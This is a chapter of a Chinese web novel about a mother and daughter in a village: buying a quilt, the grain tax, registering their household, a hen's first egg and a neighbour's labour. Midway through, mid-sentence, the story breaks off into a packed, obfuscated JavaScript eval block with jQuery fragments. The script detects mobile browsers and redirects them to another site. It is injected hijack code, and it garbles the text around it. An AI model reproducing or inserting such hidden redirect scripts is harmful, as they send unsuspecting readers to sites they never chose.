晌午，前面的空气肉眼可见的热浪滚滚，官道边上的榆树下，崔晚和崔小小坐在石头上擦汗。


    “可真热。”崔晚用手扇扇风。


    “嗯。”崔小小坐在石头上，身子却趴在背篓沿上，眼睛一个不眨地盯着里面的棉被。菜花蛇卖了三钱银子，崔晚从济世堂就直奔青石街的布庄，买了床棉被。


    发觉崔小小一直盯着背篓里的棉被看，崔晚心里不禁酸楚，不过只要一想到老宅里慢慢置办起来的家当就忍不住自豪。只是这一床棉被着实贵了些，三百钱，难怪古人没钱的时候会拿去当铺典当。想到这崔晚又摸摸棉被，倒是挺厚实软和的，以后老宅的那床被子就用来垫，这床新的拿来盖，到了冬天也能好过些。


    思及此，崔晚手上的动作顿住：这里的冬天很冷，这段时间努力赚点钱说不准还能再买床被子，对了，还有棉衣。


    回去的路上崔晚抱着鱼笼有蛇的心情，绕路去了一趟缓水潭捞鱼笼，不过另她失望了，不过很快崔晚又想到一件事，回到家放下背篓就拿起砍刀往竹林那边走去。左右今天没什么事要做，不如多做几个鱼笼，说不准哪天就能抓到毒蛇，就算不是毒蛇，多抓几条菜花蛇，这买棉被买棉衣的钱不就来了吗。


    热浪卷过田间，被稻穗压弯了头的稻杆随风摇晃，散开一阵阵清香。下一秒就有一支大手抓住稻杆，镰刀“咔嚓咔嚓”的收割。收稻谷就是最农忙的时候，村里头凡是能下地的都下地干活了。壮劳力的汉子和年轻妇人在前面割稻谷，后头上了年纪的老人和小孩就在后面抱着割好的稻谷往晒场跑，那里各家都有人在打谷脱粒，得趁着这个时候天气好，赶紧将稻谷脱粒晒干。


    村后，崔晚用草藤编成简易的遮阳帽戴在头上，手里忙着将柱子捆扎实。崔晚娘俩没有田地，这会村里人忙着收稻谷，她就忙着攒兔子和鸡鸭冬天的口粮。院子里已经晒了好多干草，趁这会天气热，她就把前几天说要做的棚子搭起来。


    这个棚子比用来关鸡鸭和兔子的棚子更简单，四面墙用几根柱子立起来，顶上再搭上一张棚顶就能挡雨遮风，以后晒干的干草和干柴就都放在这里面。


    村里人收粮食都是一大家人齐动手，尤其是家里人多的，零零散散几亩田的稻谷一两天就收好了。恰好老天眷顾，接连几天的大太阳，晒场那边晒干的谷子用谷风车一风，除去干瘪的空壳就全是精壮的稻谷，等再过几日官府的衙役来收了粮税就能装进粮仓里了。


    “说了说了。”徐文才路上赶得急，脸上全是热出来的红晕和汗水，他随意用袖子擦了擦，“今年的粮税比去年少交一斤。”


    “那可太好了。”粮还没有收，村里的村民就一直忧心今年的粮税，虽说前两年收的粮税也不高，但前些日子听行脚的商人说，京城那边闹起来死了好多人，为此大家都担心会影响到今年粮税，没想到最后等来的是好消息。


    徐文才也松了口气，少交粮税是好事，说明边关没有动荡，至于那些更遥远的京城他们再怎么闹腾也和自个没关系。回到家里，姚良玉和徐老爹坐在檐下说话。见到他回来，姚良玉说：“刚才听路过的人说了，每个人的粮税少一斤，可崔丫头，她和小小娘俩没有种庄稼，要是以钱抵粮税，可得花二钱银子。”


    “娘放心。”徐文才走过去拉了一张小凳子坐下，“记得崔姑娘来的时候身上没有路引，户籍也没有落到这边，到时候官差来的时候我就说是逃难来的，能免两年粮税。”


    听徐文才这么说，姚良玉这才放下心来，随即像是想到什么，打着哈哈说：“枇杷膏还有点，我去给你冲一碗。”


    “娘歇着，我自个去。”徐文才哪里不知道自家老娘是个热心肠，而且这些日子他见崔晚娘俩都是勤快人，在自己能力范围之内帮一点又有何妨。


    官差来的那天崔晚带着崔小小正在河边割草，看到几个官差拉着板车，上面装了十多袋的粮食，和官差说着话的徐文才看到崔晚娘俩微微颔首，接着对为首的官差说：“这就是刚才我说的，从外乡逃难来的。”


    官差上下打量着崔晚和崔小小娘俩，见都是本本分分的模样，再说他和徐文才熟，也乐得做个人情：“成，我知道了，不过等忙完这几天收粮税，你得让她们来府衙登记造册。”


    “不然我不好向上头交代。”官差低着声音补了一句话。


    “这是自然，这是自然。”徐文才笑道，然后又领着几个官差往另外一条路走去，村里还有好多人家的粮税没收，得赶紧收齐押送到粮仓去。


    徐文才和官差的话崔晚听了一耳朵，心里有了猜测，果不其然晚些时候，姚良玉挎着篮子来了，“崔丫头，小小。”


    “阿嬷。”崔小小听到动静从屋里跑出来，“阿嬷。”


    “你娘了？”姚良玉摸出一把米花放到崔小小手里。


    “娘亲在……”


    “阿嬷。”


    崔小小话音未完，崔晚就从棚子后面出来：“在收拾晒干的干草。”同时也看到了崔小小手里捏的东西，“阿嬷给你东西，谢过阿嬷没？”


    崔小小脸一红，摇摇头：“没有。谢谢阿嬷。”


    “哎哟，谢什么。”姚良玉笑的爽快，“我呀，是来问问你，以后有什么打算？”


    “打算？”


    “是啊！朝廷每年收粮税的时候会查户籍，若是没有户籍以后买卖田地也麻烦。前些日子你让我打听有没有要卖田地的，我也忘了说。”


    “而且办了户籍才有路引，以后要去哪里也方便。这不就想问问你，有没有要投奔的去处，若是没有，要长久留在这里，这些可得尽快办了。”说着姚良玉也想起当初崔晚母女俩顶着寒风和雪来到杏源村，想必是没有其他的去处了。


    果然崔晚摇摇头：“没有其他去处，以后就想一直在这里。”


    “哈哈，那好。”姚良玉乐呵呵的，“之前官差来村里，文才给上头说你是逃难来的，官府能免两年的粮税，你可别说漏嘴了。”


    崔晚虽然不知道粮税要交多少，但姚良玉和徐文才为自己打算已经帮了自己很大的忙，崔晚眼眶微酸：“知道了，谢谢阿嬷。”


    “谢什么！对了，你刚才说你在收拾干草，我看看。”


    “嗯，阿嬷这边来。”


    收过稻谷没几日，又陆陆续续下了几天雨，早晚出门的时候也终于没有盛夏时节那么炎热。


    山林里，崔晚背着背篓，手里提着篮子，看见能吃的菌子就往篮子里放。背篓里也放满了各种草药和菌子，今天娘俩一道进山里来，是想着能多找点草药回去晒干换钱。至于菌子，连下了几日的雨，正是菌子生长的最勤的时候，拿去镇上也卖不了多少钱，崔晚便打算都拿回去晒干，留着冬天自个吃。


    “先坐下歇会，喝口水。”崔晚半蹲下，将背篓放在石头上，才抬胳膊活动，“再往前看看就准备下山。”


    “好。”崔小小捧着竹筒喝了口水，她提的篮子里也装了好些草药和菌子，不过她也不忘往篮子上装裱几朵漂亮的花朵。


    太阳刚刚往西落去，山里就多了丝凉意。下山的路上崔晚就将篮子绑在背篓上，手里捏着长柄砍刀，能开路也能防身。


    “又没打到。”崔晚气恼的将弹弓塞到腰间，重新拿过崔小小手里的砍刀，“算了，打不着野鸡，我们一会下山去河边看看有没有鱼。”


    “好。”崔小小望着刚才一群野鸡扑棱棱飞走的方向，咽了咽唾沫，上一次吃肉还是换屋顶的时候，嘴巴早就馋了。


    ～


    “咯咯咯”


    “咯咯咯”


    一大早崔晚就被一阵吵闹的鸡叫声惊醒，这声音以往从来没有听过，下意识崔晚以为有黄鼠狼之类的窜进来偷鸡。


    “来了，来了。”还没打开棚子门，崔晚就先出声准备吓吓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331142|157620||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对方，没想到推开棚子门，看到里面的鸡鸭和兔子都在，另外一个棚子里的鸡也一只没少。诧异之余才注意到先养的鸡里面有一只母鸡一直蹲在窝里，一个念头顿时浮上心头，“小小，小小快来。”


    片刻后，娘俩蹲在鸡窝边，看着里面一个圆圆的鸡蛋。这是母鸡下的头一个蛋，不大，但对于娘俩来说确实天大的好消息。头一批有三只母鸡，这些日子都是精心养着，既然有一个开始下蛋，那另外两只也快了。


    马元心先前就打过招呼，娘俩稀罕够了那颗鸡蛋就将其慎重的放进屋子里藏起来，打算等李巧云生孩子的时候送过去。


    说起来已经九月底，昨儿崔晚还去村里转悠了一趟，刚好看到李巧云大着肚子在院子里转悠，生产就在这几日，林槐也从隔壁镇回来，可看那样子还没有生产的迹象。


    河边，崔晚刚捞起鱼笼，看到里面有条两斤来重的大鲫鱼，就听到村子那边传来动静，没一会就看到林槐驾着驴车往村子外去。


    “一定是巧云姐要生了。”崔晚手足无措了片刻，才将那条大鲫鱼装进桶里，“一会把这条鲫鱼送过去给巧云姐，鱼汤喝了滋补。”


    “姨姨要生妹妹了吗？”李巧云喜欢女儿，每每看到崔小小的时候总念叨肚子里的一定是个女儿，时间久了，崔小小便也认为李巧云肚子里的就是妹妹。


    到林家的时候院子里聚了好几个妇人，她们都是林家的妯娌邻居，妇人生孩子犹如进一趟鬼门关，多几个人关键时候也能帮忙。


    “林婶。”崔晚站在门口喊了一声。


    马元心才往屋里送了一碗鸡蛋面，李巧云肚子疼的厉害，可还得等林槐把稳婆请回来。着急的擦擦汗，就听到崔晚的声音，“崔姑娘来了，院里坐。”


    “大嫂子。”旁边立马有人拉住她，“什么时候，平时不忌讳，这个时候可得讲究，别什么腌臜东西都放进来。”


    崔晚认识她，平时看到自己的时候还朝自己吐过口水，不过崔晚不想生太多事，也没有当回事。可她今日将话说得如此难听，还当着马元心和其他人的面，尤其是小小还在，心里不禁冒火起来，只是屋里李巧云的痛苦声不断，崔晚也不想马元心为难，“我就不坐了，屋里还有事，就先走了。”至于提在手上的鱼，改天再送吧。


    “等等。”马元心横了一眼刚才挑事的妇人，“我说要忌讳还是忌讳那种吃了粪的，可别熏着我未出生孙子了。”


    “马元心，你说我吃了粪！”


    “我可没说。”马元心冷笑。


    “那你什么意思？”妇人横眉竖眼，显然气得不轻。


    心里本就担忧烦躁，再说她平日和这妇人也没有来往，原本看对方主动来帮忙，马元心感激。可见对方嘴巴不干净也不愿意留人，老人都说孩子刚出生眼睛干净，可别看到这些腌臜污了眼睛，“我说这里用不着那么多人，张家娘子就先回吧。”


    “好啊！马元心你赶我走，我记住你了，以后你求老娘老娘都不会进你家门。哼！”说完气冲冲地出去。


    崔晚见到对方这架势，拉着崔小小连忙往旁边避开，本想撞一下崔晚的妇人动作落空，踉跄两下，骂骂咧咧的走开。


    “林婶，刚才，对不住……”


    “嗐，这有什么。”马元心摆摆手，“本来就看不惯她那嘴脸。”


    “是啊！她谁都要背后议论几分高低，今儿添人的大喜事，她不是存心找不痛快吗？”蹲在一边洗剪刀的妇人插嘴道。


    “可不是，崔姑娘是吧，快带你丫头进屋来帮忙烧热水，一会要用。”


    “这就来。”崔晚心中一片柔软，“我还带了一条鲫鱼，一会给巧云姐炖汤。”


    “哎哟来的巧，白天才买了豆腐，一会和鱼一道炖了。”马元心说着，外头林槐也带着稳婆赶到，院子里再次喧闹起来，最后又安静下来，只剩李巧云声嘶力竭的痛呼声。